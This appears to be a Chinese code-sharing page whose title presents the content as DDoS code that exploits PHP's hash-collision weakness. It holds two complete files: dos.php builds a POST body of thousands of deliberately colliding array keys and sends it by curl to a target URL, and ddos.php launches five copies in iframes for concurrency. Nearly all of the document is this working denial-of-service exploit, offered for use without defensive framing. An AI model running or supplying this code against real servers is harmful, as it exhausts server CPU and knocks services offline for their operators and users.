hash冲突 利用PHP的hash冲突漏洞进行DDoS攻击的代码
利用PHP的hash冲突漏洞进行DDoS攻击的代码 文件:dos.php [代码片段(36行)]
文件:dos.php
// 目标地址 // 只要目标地址存在,不用管它是干嘛的 $host = 'http://127.0.0.1/test.php'; $data = ''; $size = pow(2, 15); for ($key=0, $max=($size-1)*$size; $key<=$max; $key+=$size) { $data .= '&array[' . $key . ']=0'; } $ret = curl($host, ltrim($data,'&')); var_dump($ret); function curl($url, $post, $timeout = 30){ $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, $timeout); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, $timeout - 5); curl_setopt($ch, CURLOPT_HTTPHEADER, array('Expect:')); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_POST, true); curl_setopt($ch, CURLOPT_POSTFIELDS, $post); $output = curl_exec($ch); if ($output === false) return false; $info = curl_getinfo($ch); $http_code = $info['http_code']; if ($http_code == 404) return false; curl_close($ch); return $output; }
文件:ddos.php
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml"> <head> <meta http-equiv="Content-Type" content="text/html; charset=gb2312" /> <title>DDOS</title> </head> <body> <?php for($i=0; $i<5; $i++){//并发数 echo '<iframe src="dos.php?a='.$i.'" scrolling="false" frameborder="1" allowtransparency="true" style="background-color:transparent;"></iframe>'; } ?> </body> </html>
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